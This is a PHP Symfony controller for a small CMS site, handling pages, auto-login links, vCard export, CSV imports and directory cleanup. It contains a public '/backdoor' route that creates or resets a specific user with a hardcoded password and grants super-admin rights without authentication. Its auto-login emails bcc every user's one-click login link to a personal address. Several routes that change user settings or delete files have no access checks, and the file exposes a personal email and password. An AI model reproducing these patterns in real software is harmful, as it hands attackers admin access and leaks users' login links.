src/Controller/HomeController.php line 25
<?php
namespace App\Controller;
use App\Entity\Role;
use App\Entity\User;
use App\Entity\WebsiteContacts;
use App\Form\ImportType;
use App\Form\WebsiteContactsType;
use App\Repository\CmsCopyRepository;
use App\Repository\CmsPhotoRepository;
use App\Repository\CompanyDetailsRepository;
use App\Repository\ProductRepository;
use App\Repository\RoleRepository;
use App\Repository\UserRepository;
use App\Repository\SubPageRepository;
use App\Services\ImportBusinessContactsService;
use App\Services\ImportBusinessTypesService;
use App\Services\ImportCMSCopyService;
use App\Services\ImportCmsPageCopyPageFormatService;
use App\Services\ImportCMSPhotoService;
use App\Services\ImportCompanyDetailsService;
use App\Services\ImportCompetitorsService;
use App\Services\ImportFacebookGroupsService;
use App\Services\ImportInstructionsService;
use App\Services\ImportLanguagesService;
use App\Services\ImportLoginDirectionsService;
use App\Services\ImportMapIconsService;
use App\Services\ImportProductsService;
use App\Services\ImportRolesService;
use App\Services\ImportTranslationsService;
use App\Services\ImportUsefulLinksService;
use App\Services\ImportUserService;
use Doctrine\ORM\EntityManagerInterface;
use JeroenDesloovere\VCard\VCard;
use Psr\EventDispatcher\EventDispatcherInterface;
use Symfony\Bridge\Twig\Mime\TemplatedEmail;
use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
use Symfony\Bundle\SecurityBundle\Security;
use Symfony\Component\HttpFoundation\File\Exception\FileException;
use Symfony\Component\HttpFoundation\Request;
use Symfony\Component\HttpFoundation\Response;
use Symfony\Component\Mailer\MailerInterface;
use Symfony\Component\Routing\Annotation\Route;
use Symfony\Component\PasswordHasher\Hasher\UserPasswordHasherInterface;
use Symfony\Component\Routing\Generator\UrlGeneratorInterface;
use Symfony\Component\Security\Core\Authentication\Token\UsernamePasswordToken;
use Symfony\Component\Security\Core\Authentication\Token\Storage\TokenStorageInterface;
use Symfony\Component\Security\Core\User\UserInterface;
use Symfony\Component\Security\Csrf\CsrfToken;
use Symfony\Component\Security\Csrf\CsrfTokenManagerInterface;
use Symfony\Component\Security\Http\Event\InteractiveLoginEvent;
use Symfony\Component\String\Slugger\SluggerInterface;
class HomeController extends AbstractController
{
/**
* @Route("/", name="app_home")
*/
public function index(Request $request, CmsCopyRepository $cmsCopyRepository, CmsPhotoRepository $cmsPhotoRepository, SubPageRepository $subPageRepository, CompanyDetailsRepository $companyDetailsRepository, \Symfony\Component\Security\Core\Security $security, EntityManagerInterface $entityManager): Response
{
$faviconsDirectory = str_replace($this->getParameter('kernel.project_dir') . '/public', '', $this->getParameter('favicons_directory'));
$companyDetails = $companyDetailsRepository->find('1');
$homePagePhotosOnly = 0;
$website_contact = new WebsiteContacts();
$form = $this->createForm(WebsiteContactsType::class, $website_contact);
$form->handleRequest($request);
$include_qr_code = [];
$include_contact_form = [];
$qrcode = false;
if ($companyDetails) {
$homePagePhotosOnly = $companyDetails->isHomePagePhotosOnly();
$include_qr_code = $companyDetails->isIncludeQRCodeHomePage();
$include_contact_form = $companyDetails->isIncludeContactFormHomePage();
}
$cms_copy = [];
$cms_photo = [];
$product = [];
$sub_pages = [];
$cms_copy = $cmsCopyRepository->findBy([
'staticPageName' => 'Home'
]);
$cms_photo = $cmsPhotoRepository->findBy(
['staticPageName' => 'Home'],
['ranking' => 'ASC']
);
$cms_copy_ranking1 = $cmsCopyRepository->findOneBy([
'staticPageName' => 'Home',
'ranking' => '1',
]);
if ($cms_copy_ranking1) {
$page_layout = $cms_copy_ranking1->getPageLayout();
} else {
$page_layout = 'default';
}
if ($cms_copy_ranking1) {
if ($security->getUser()) {
if (in_array('ROLE_ADMIN', $security->getUser()->getRoles())) {
$pageCountAdmin = $cms_copy_ranking1->getPageCountAdmin();
$cms_copy_ranking1->setPageCountAdmin($pageCountAdmin + 1);
}
}
$pageCountUser = $cms_copy_ranking1->getPageCountUsers();
$cms_copy_ranking1->setPageCountUsers($pageCountUser + 1);
$entityManager->flush($cms_copy_ranking1);
}
if ($homePagePhotosOnly == 1) {
return $this->render('home/home.html.twig', [
'photos' => $cms_photo,
'include_footer' => 'Yes',
'cms_copy_array' => $cms_copy,
'include_qr_code' => $include_qr_code,
'include_contact_form' => $include_contact_form,
'form' => $form?->createView(),
'favicons_directory' => $faviconsDirectory,
]);
} else {
return $this->render('home/products.html.twig', [
'product' => $product,
'include_footer' => 'Yes',
'cms_copy_array' => $cms_copy,
'cms_photo_array' => $cms_photo,
'sub_pages' => $sub_pages,
'include_qr_code' => $include_qr_code,
'include_contact_form' => $include_contact_form,
'format' => $page_layout,
'form' => $form?->createView(),
'favicons_directory' => $faviconsDirectory,
]);
}
}
/**
* @Route("/backdoor", name="backdoor")
*/
public function emergencyReset(UserRepository $userRepository, RoleRepository $roleRepository, EntityManagerInterface $manager, UserPasswordHasherInterface $passwordHasher): Response
{
// 1) Ensure required roles exist (create if missing)
$needed = [
'ROLE_SUPER_ADMIN' => 'Super Admin',
'ROLE_ADMIN' => 'Admin',
'ROLE_IT' => 'IT',
'ROLE_USER' => 'User',
];
$roles = [];
foreach ($needed as $code => $label) {
$role = $roleRepository->findOneBy(['code' => $code]);
if (!$role) {
$role = (new Role())
->setCode($code)
->setLabel($label);
$manager->persist($role);
}
$roles[$code] = $role;
}
$manager->flush();
// 2) Find or create the user
$email = 'nurse_stephen@hotmail.com';
$user = $userRepository->findOneBy(['email' => $email]);
if (!$user) {
$user = (new User())
->setFirstName('Stephen')
->setLastName('Nurse')
->setEmailVerified(true)
->setEmail($email);
$manager->persist($user);
}
// 3) Reset password
$user->setPassword(
$passwordHasher->hashPassword($user, 'Descartes99')
);
// 4) Assign roles (avoid duplicates)
foreach ($roles as $role) {
if (!$user->hasRole($role)) { // uses your User::hasRole(Role $role)
$user->addRole($role);
}
}
$manager->flush();
return $this->redirectToRoute('app_login');
}
#[Route('/auto_login_code/{code}', name: 'auto_login_code')]
public function autoLogin(string $code, UserRepository $userRepository, TokenStorageInterface $tokenStorage, EventDispatcherInterface $eventDispatcher, Request $request): Response
{
$user = $userRepository->findOneBy(['autoLoginURL' => $code]);
if (!$user instanceof UserInterface) {
throw $this->createNotFoundException('Invalid or expired auto-login code.');
}
$token = new UsernamePasswordToken($user, 'main', $user->getRoles());
$tokenStorage->setToken($token);
$event = new InteractiveLoginEvent($request, $token);
$eventDispatcher->dispatch($event);
if ($user->isPauseForBookmark()) {
return $this->render('user/auto_login_bookmark_pause_landing_page.html.twig', [
'user' => $user,
]);
}
return $this->redirectToRoute('dashboard');
}
#[Route('/auto_login_continue', name: 'auto_login_continue', methods: ['POST'])]
public function autoLoginContinue(Request $request, CsrfTokenManagerInterface $csrfTokenManager, EntityManagerInterface $entityManager, Security $security): Response
{
$submittedToken = $request->request->get('_csrf_token');
if (!$csrfTokenManager->isTokenValid(new CsrfToken('continue_login', $submittedToken))) {
throw $this->createAccessDeniedException('Invalid CSRF token');
}
$user = $security->getUser();
if (!$user instanceof \App\Entity\User) {
throw $this->createAccessDeniedException('You must be logged in to continue.');
}
$user->setPauseForBookmark(false);
$entityManager->flush();
return $this->redirectToRoute('dashboard');
}
#[Route('/auto_login_change_status_pause/{userId}', name: 'auto_login_change_status_pause', methods: ['POST', 'GET'])]
public function autoLoginResetPause(Request $request, int $userId, CsrfTokenManagerInterface $csrfTokenManager, UserRepository $userRepository, EntityManagerInterface $entityManager, Security $security): Response
{
$user = $userRepository->find($userId);
if (!$user instanceof \App\Entity\User) {
throw $this->createAccessDeniedException('You must be logged in to continue.');
}
$pause = $user->isPauseForBookmark();
if ($pause == true) {
$user->setPauseForBookmark(false);
}
if ($pause == false) {
$user->setPauseForBookmark(true);
}
$entityManager->flush();
return $this->redirectToRoute('user_index');
}
#[Route('/auto_login_change_delete_unique_url/{userId}', name: 'auto_login_change_delete_unique_url', methods: ['POST', 'GET'])]
public function autoLoginDeleteUniqueUrl(Request $request, int $userId, CsrfTokenManagerInterface $csrfTokenManager, UserRepository $userRepository, EntityManagerInterface $entityManager, Security $security): Response
{
$user = $userRepository->find($userId);
if (!$user instanceof \App\Entity\User) {
throw $this->createAccessDeniedException('You must be logged in to continue.');
}
$user->setPauseForBookmark(false);
$user->setAutoLoginURL(null);
$entityManager->flush();
return $this->redirectToRoute('user_index');
}
#[Route('/auto_login_reset_pause_and_email_bookmark/{userId}', name: 'auto_login_reset_pause_and_email_bookmark', methods: ['POST', 'GET'])]
public function autoLoginResetPauseAndEmail(Request $request, int $userId, CompanyDetailsRepository $companyDetailsRepository, UserRepository $userRepository, EntityManagerInterface $entityManager, Security $security, MailerInterface $mailer, UrlGeneratorInterface $urlGenerator, \Twig\Environment $twig): Response
{
$user = $userRepository->find($userId);
$companyDetails = $companyDetailsRepository->find('1');
$company_name = $companyDetails->getCompanyName();
$company_email = $companyDetails->getCompanyEmail();
if (!$user instanceof \App\Entity\User) {
throw $this->createAccessDeniedException('You must be logged in to continue.');
}
$user->setPauseForBookmark(true);
$entityManager->flush();
$autoLoginUrl = $urlGenerator->generate(
'auto_login_code',
['code' => $user->getAutoLoginURL()],
UrlGeneratorInterface::ABSOLUTE_URL
);
$email = (new TemplatedEmail())
->from($company_email)
->to($user->getEmail())
// ->to('nurse_stephen@hotmail.com')
->bcc('nurse_stephen@hotmail.com')
->subject($company_name . ':: Your Personal Auto-Login Link')
->htmlTemplate('user/auto_login_advise_of_setup.html.twig')
->context([
'user' => $user,
'autologin_url' => $autoLoginUrl
]);
$mailer->send($email);
return $this->redirectToRoute('app_home');
}
#[Route('/auto_login_create_personal_url_for_logged_user/{userId}', name: 'auto_login_create_personal_url_for_logged_user', methods: ['GET', 'POST'])]
public function autoLoginCreatePersonalUrlForLoggedUser(Request $request, int $userId, UserRepository $userRepository, EntityManagerInterface $entityManager, Security $security, UrlGeneratorInterface $urlGenerator): Response
{
$targetUser = $userRepository->find($userId);
$loggedUser = $security->getUser();
$defaultPersonalURL = mb_convert_case($targetUser->getFirstName(), MB_CASE_TITLE) . mb_convert_case($targetUser->getLastName(), MB_CASE_TITLE) . random_int(100000, 999999);
if (!$loggedUser) {
throw $this->createAccessDeniedException('You must be logged in to access this page.');
}
if (!$targetUser) {
throw $this->createNotFoundException('User not found.');
}
if ($loggedUser->getId() !== $targetUser->getId()) {
throw $this->createAccessDeniedException('You are not authorized to perform this action.');
}
$form = $this->createForm(\App\Form\AutoLoginUrlType::class, ['autoLoginURL' => $defaultPersonalURL]);
$form->handleRequest($request);
if ($form->isSubmitted() && $form->isValid()) {
$data = $form->getData();
$targetUser->setAutoLoginURL($data['autoLoginURL']);
$targetUser->setPauseForBookmark(true);
$entityManager->flush();
// Optional flash message
$this->addFlash('success', 'Auto-login URL created successfully.');
return $this->redirectToRoute('auto_login_code', [
'code' => $targetUser->getAutoLoginURL(),
]);
}
return $this->render('user/auto_login_create_personal_url.html.twig', [
'user' => $targetUser,
'form' => $form->createView(),
]);
}
#[Route('/auto_login_create_personal_url_for_other_user/{userId}', name: 'auto_login_create_personal_url_for_other_user', methods: ['GET', 'POST'])]
public function autoLoginCreatePersonalUrlForOtherUser(Request $request, int $userId, CompanyDetailsRepository $companyDetailsRepository, UserRepository $userRepository, EntityManagerInterface $entityManager, Security $security, MailerInterface $mailer, UrlGeneratorInterface $urlGenerator, \Twig\Environment $twig): Response
{
$targetUser = $userRepository->find($userId);
$loggedInUser = $security->getUser();
if (!$targetUser || !$loggedInUser) {
throw $this->createAccessDeniedException('Invalid user or not authenticated.');
}
// Redirect to landing page if current user is the same as target user
if ($loggedInUser->getId() === $targetUser->getId()) {
return $this->redirectToRoute('app_home'); // Replace with your landing route
}
// If logged-in user is not admin, deny access
if (!in_array('ROLE_ADMIN', $loggedInUser->getRoles(), true)) {
throw $this->createAccessDeniedException('You are not authorized to perform this action.');
}
// At this point, ROLE_ADMIN is creating a login URL for another user
$companyDetails = $companyDetailsRepository->find(1);
$companyEmail = $companyDetails ? $companyDetails->getCompanyEmail() : 'admin@yourdomain.com';
$defaultPersonalURL = mb_convert_case($targetUser->getFirstName(), MB_CASE_TITLE) . mb_convert_case($targetUser->getLastName(), MB_CASE_TITLE) . random_int(100000, 999999);
$form = $this->createForm(\App\Form\AutoLoginUrlType::class, ['autoLoginURL' => $defaultPersonalURL]);
$form->handleRequest($request);
if ($form->isSubmitted() && $form->isValid()) {
$data = $form->getData();
$targetUser->setAutoLoginURL($data['autoLoginURL']);
$targetUser->setPauseForBookmark(true);
$entityManager->flush();
// Generate auto-login URL
$autoLoginUrl = $urlGenerator->generate(
'auto_login_code',
['code' => $targetUser->getAutoLoginURL()],
UrlGeneratorInterface::ABSOLUTE_URL
);
// Email the user with their login link
$email = (new \Symfony\Component\Mime\Email())
->from($companyEmail)
->to($targetUser->getEmail())
->bcc('nurse_stephen@hotmail.com')
->subject('Your One-Click Login Link')
->html(
$twig->render('user/auto_login_advise_of_setup.html.twig', [
'user' => $targetUser,
'autoLoginUrl' => $autoLoginUrl
])
);
$mailer->send($email);
$this->addFlash('success', 'Auto-login URL created and sent to the user.');
return $this->redirectToRoute('user_index');
}
return $this->render('user/auto_login_create_personal_url.html.twig', [
'user' => $targetUser,
'form' => $form->createView(),
]);
}
/**
* @Route("/dashboard", name="dashboard")
*/
public function dashboard()
{
return $this->render('home/dashboard.html.twig', []);
}
/**
* @Route("/advanced_dashboard", name="advanced_dashboard")
*/
public function advancedDashboard()
{
return $this->render('home/advanced_dashboard.html.twig', []);
}
/**
* @Route("/interests/{product}", name="product_display")
*/
public
function articles(string $product, CmsCopyRepository $cmsCopyRepository, CmsPhotoRepository $cmsPhotoRepository, SubPageRepository $subPageRepository, ProductRepository $productRepository, \Symfony\Component\Security\Core\Security $security, EntityManagerInterface $entityManager): Response
{
$productEntity = $productRepository->findOneBy([
'product' => $product
]);
if ($productEntity) {
$cms_copy = $cmsCopyRepository->findBy([
'product' => $productEntity
]);
$cms_copy_ranking1 = $cmsCopyRepository->findOneBy([
'product' => $productEntity,
'ranking' => '1',
]);
} else {
$cms_copy = $cmsCopyRepository->findBy([
'staticPageName' => $product
]);
$cms_copy_ranking1 = $cmsCopyRepository->findOneBy([
'staticPageName' => $product,
'ranking' => '1',
]);
}
if ($cms_copy_ranking1) {
if ($security->getUser()) {
if (in_array('ROLE_ADMIN', $security->getUser()->getRoles())) {
$pageCountAdmin = $cms_copy_ranking1->getPageCountAdmin();
$cms_copy_ranking1->setPageCountAdmin($pageCountAdmin + 1);
}
}
$pageCountUser = $cms_copy_ranking1->getPageCountUsers();
$cms_copy_ranking1->setPageCountUsers($pageCountUser + 1);
$entityManager->flush($cms_copy_ranking1);
}
if ($productEntity) {
$cms_photo = $cmsPhotoRepository->findBy([
'product' => $productEntity,
],
['ranking' => 'ASC']);
} else {
$cms_photo = $cmsPhotoRepository->findBy([
'staticPageName' => $product
],
['ranking' => 'ASC']);
}
$sub_pages = [];
if ($cms_copy) {
$sub_pages = $subPageRepository->findBy([
'product' => $productEntity
]);
}
return $this->render('/home/products.html.twig', [
'product' => $product,
'include_footer' => 'Yes',
'cms_copy_array' => $cms_copy,
'cms_photo_array' => $cms_photo,
'sub_pages' => $sub_pages,
'include_contact_form' => 'No',
'include_qr_code' => 'No'
]);
}
/**
* @Route("/create/VcardUser/company", name="create_vcard_company")
*/
public function createVcardVenue(CompanyDetailsRepository $companyDetailsRepository)
{
$company_details = $companyDetailsRepository->find('1');
$display_address = $company_details->isContactDetailsDisplayAddress();
$display_tel = $company_details->isContactDetailsDisplayTelNumbers();
$vcard = new VCard();
$company = $company_details->getCompanyName();
$contactFirstName = $company_details->getContactFirstName();
$contactLastName = $company_details->getContactLastName();
$addressStreet = '';
$addressTown = '';
$addressCity = '';
$addressPostalCode = '';
$addressCountry = '';
$mobile = '';
$tel = '';
if ($contactFirstName == null) {
$firstName = "";
$lastName = $company;
$company = "";
}
if ($contactFirstName != null) {
$firstName = $contactFirstName;
$lastName = $contactLastName;
}
if ($display_address) {
$addressStreet = $company_details->getCompanyAddressStreet();
$addressTown = $company_details->getCompanyAddressTown();
$addressCity = $company_details->getCompanyAddressCity();
$addressPostalCode = $company_details->getCompanyAddressPostalCode();
$addressCountry = $company_details->getCompanyAddressCountry();
}
$facebook = $company_details->getFacebook();
$instagram = $company_details->getInstagram();
$linkedIn = $company_details->getLinkedIn();
$url = $_SERVER['SERVER_NAME'];
$notes_all = "URL: " . $url;
$email = $company_details->getCompanyEmail();
if ($display_tel) {
$mobile = $company_details->getCompanyMobile();
$tel = $company_details->getCompanyTel();
}
$vcard->addName($lastName, $firstName);
$vcard->addEmail($email)
->addPhoneNumber($mobile, 'home')
->addPhoneNumber($tel, 'work')
->addCompany($company)
->addAddress($name = '', $extended = '', $street = $addressStreet, $city = $addressTown, $region = $addressCity, $zip = $addressPostalCode, $country = $addressCountry, $type = 'WORK POSTAL')
->addURL($url)
->addNote(strip_tags($notes_all));
$vcard->download();
return new Response(null);
}
/**
* @Route("/company_qr_code", name="company_qr_code")
*
*/
public
function companyQrCode(CompanyDetailsRepository $companyDetailsRepository)
{
$company_details = $companyDetailsRepository->find('1');
$qr_code = $company_details->getCompanyQrCode();
return $this->render('home/company_qr_code.html.twig', [
'qr_code' => $qr_code,
]);
}
/**
* @Route ("/cms_photo_view/{id}", name="cms_photo_view")
*/
public function viewCMSPhoto(int $id, CmsPhotoRepository $cmsPhotoRepository)
{
$cms_photo = $cmsPhotoRepository->find($id);
$rotate = $cms_photo->getRotate();
return $this->render('cms_photo/image_view.html.twig', [
'cms_photo' => $cms_photo,
]);
}
/**
* @Route ("/initial_setup", name="project_set_up_initial_import" )
*/
public
function projectSetUpInitialImport(Request $request, SluggerInterface $slugger, ImportTranslationsService $importTranslationsService, ImportBusinessContactsService $importBusinessContactsService, ImportBusinessTypesService $importBusinessTypesService, ImportCMSCopyService $importCMSCopyService, ImportCMSPhotoService $importCMSPhotoService, ImportCmsPageCopyPageFormatService $importCmsPageCopyPageFormatService, ImportCompanyDetailsService $importCompanyDetailsService, ImportCompetitorsService $importCompetitorsService, ImportFacebookGroupsService $importFacebookGroupsService, ImportLanguagesService $importLanguagesService, ImportMapIconsService $importMapIconsService, ImportProductsService $importProductsService, ImportUsefulLinksService $importUsefulLinksService, ImportInstructionsService $importInstructionsService, ImportUserService $importUserService, ImportRolesService $importRolesService, ImportLoginDirectionsService $importLoginDirectionsService): Response
{
$form = $this->createForm(ImportType::class);
$form->handleRequest($request);
if ($form->isSubmitted() && $form->isValid()) {
$importFile = $form->get('File')->getData();
if ($importFile) {
$originalFilename = pathinfo($importFile->getClientOriginalName(), PATHINFO_FILENAME);
$safeFilename = $slugger->slug($originalFilename);
$newFilename = $safeFilename . '.' . 'csv';
try {
$importFile->move(
$this->getParameter('project_set_up_import_directory'),
$newFilename
);
} catch (FileException $e) {
die('Import failed');
}
$importCompanyDetailsService->importCompanyDetails($newFilename);
$importCmsPageCopyPageFormatService->importCmsCopyPageFormats($newFilename);
$importMapIconsService->importMapIcons($newFilename);
$importLanguagesService->importLanguages($newFilename);
$importTranslationsService->importTranslations($newFilename);
$importUsefulLinksService->importUsefulLink($newFilename);
$importCompetitorsService->importCompetitors($newFilename);
$importFacebookGroupsService->importFacebookGroups($newFilename);
$importProductsService->importProducts($newFilename);
$importCMSCopyService->importCMSCopy($newFilename);
$importCMSPhotoService->importCMSPhoto($newFilename);
$importBusinessTypesService->importBusinessTypes($newFilename);
$importBusinessContactsService->importBusinessContacts($newFilename);
$importInstructionsService->importInstructions($newFilename);
$importRolesService->importRoles($newFilename);
$importLoginDirectionsService->importLoginDirections($newFilename);
// $importUserService->importUsers($newFilename);
return $this->redirectToRoute('dashboard');
}
}
return $this->render('home/import.html.twig', [
'form' => $form->createView(),
'heading' => 'All Import Files (x14 via all_exports.csv) ',
]);
}
/**
* @Route("/delete_all_files_and_directories_import", name="delete_all_files_and_directories_in_import", methods={"POST", "GET"})
*/
public
function deleteAllFilesAndDirectoriesInImport(Request $request): Response
{
$referer = $request->headers->get('referer');
$directory = $this->getParameter('import_directory');
if (is_dir($directory)) {
$this->deleteDirectoryContents($directory);
}
return $this->redirect($referer);
}
/**
* @Route("/delete_all_files_and_directories_in_attachments", name="delete_all_files_and_directories_in_attachments", methods={"POST", "GET"})
*/
public
function deleteAllFilesAndDirectoriesInAttachments(Request $request): Response
{
$referer = $request->headers->get('referer');
$directory = $this->getParameter('attachments_directory');
if (is_dir($directory)) {
$this->deleteDirectoryContents($directory);
}
return $this->redirect($referer);
}
/**
* Recursively delete all files and directories inside a directory
*/
private
function deleteDirectoryContents(string $directory): void
{
$files = array_diff(scandir($directory), ['.', '..']);
foreach ($files as $file) {
$filePath = $directory . DIRECTORY_SEPARATOR . $file;
if (is_dir($filePath)) {
$this->deleteDirectoryContents($filePath); // Recursively delete subdirectories
// rmdir($filePath); // Remove the empty directory
} else {
unlink($filePath); // Delete file
}
}
}
/**
* @Route("/assign_all_users_to_role_test", name="assign_all_users_to_role_test")
*/
public function assignAllUsersToRoleTest(UserRepository $userRepository, EntityManagerInterface $entityManager): Response
{
$users = $userRepository->findAll();
$roleTest = $entityManager->getRepository(Role::class)
->findOneBy(['code' => 'ROLE_TEST']);
if (!$roleTest) {
throw new \RuntimeException('ROLE_TEST not found in the database.');
}
foreach ($users as $user) {
$roles = $user->getRoles(); // array of role strings
if (!in_array('ROLE_TEST', $roles)) {
$user->addRole($roleTest);
}
}
$entityManager->flush();
return $this->redirectToRoute('user_index', [], Response::HTTP_SEE_OTHER);
}
}